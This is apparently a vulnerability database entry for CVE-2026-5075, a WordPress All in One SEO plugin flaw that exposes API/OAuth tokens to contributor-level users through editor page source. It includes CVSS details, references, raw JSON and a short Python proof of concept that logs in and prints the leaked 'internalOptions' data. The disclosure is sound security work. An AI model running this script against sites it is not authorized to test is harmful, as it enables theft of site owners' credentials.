CVE-2026-5075

Description

The All in One SEO plugin for WordPress is vulnerable to Sensitive Information Exposure via 'internalOptions' localized script data in versions up to, and including, 4.9.7 due to sensitive internal option data being passed to wp_localize_script() in post editor contexts without effective masking for low-privilege users. This makes it possible for authenticated attackers, with contributor-level access and above, to view configured API/OAuth tokens and license-related values from page source.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

All in One SEO Pack <= 4.9.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-5075
# It checks if sensitive data is exposed in the page source of the editor.

import requests

def check_cve(url, username, password):
    session = requests.Session()
    # Login attempt
    login_url = url + "/wp-login.php"
    payload = {'log': username, 'pwd': password, 'redirect_to': url + '/wp-admin/', 'testcookie': '1'}
    session.post(login_url, data=payload)
    
    # Access post editor
    edit_url = url + "/wp-admin/post-new.php"
    response = session.get(edit_url)
    
    if 'internalOptions' in response.text:
        print("[+] Vulnerability Detected: internalOptions found in source.")
        # Extract specific snippet for demonstration
        start = response.text.find('var internalOptions')
        print(response.text[start:start+200])
    else:
        print("[-] Vulnerability not detected or user lacks permissions.")

# Usage: check_cve('http://target-site.com', 'contributor', 'pass')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5075
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5075
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5075/
[4] VulDB https://vuldb.com/cve/CVE-2026-5075
[5] https://plugins.trac.wordpress.org/changeset/3532318/all-in-one-seo-pack
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/0d8bc203-c17a-4b31-8f9e-695f9e638cda?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5075", "sourceIdentifier": "[email protected]", "published": "2026-05-20T05:16:22.120", "lastModified": "2026-05-20T13:54:54.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The All in One SEO plugin for WordPress is vulnerable to Sensitive Information Exposure via 'internalOptions' localized script data in versions up to, and including, 4.9.7 due to sensitive internal option data being passed to wp_localize_script() in post editor contexts without effective masking for low-privilege users. This makes it possible for authenticated attackers, with contributor-level access and above, to view configured API/OAuth tokens and license-related values from page source."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3532318/all-in-one-seo-pack", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0d8bc203-c17a-4b31-8f9e-695f9e638cda?source=cve", "source": "[email protected]"}]}}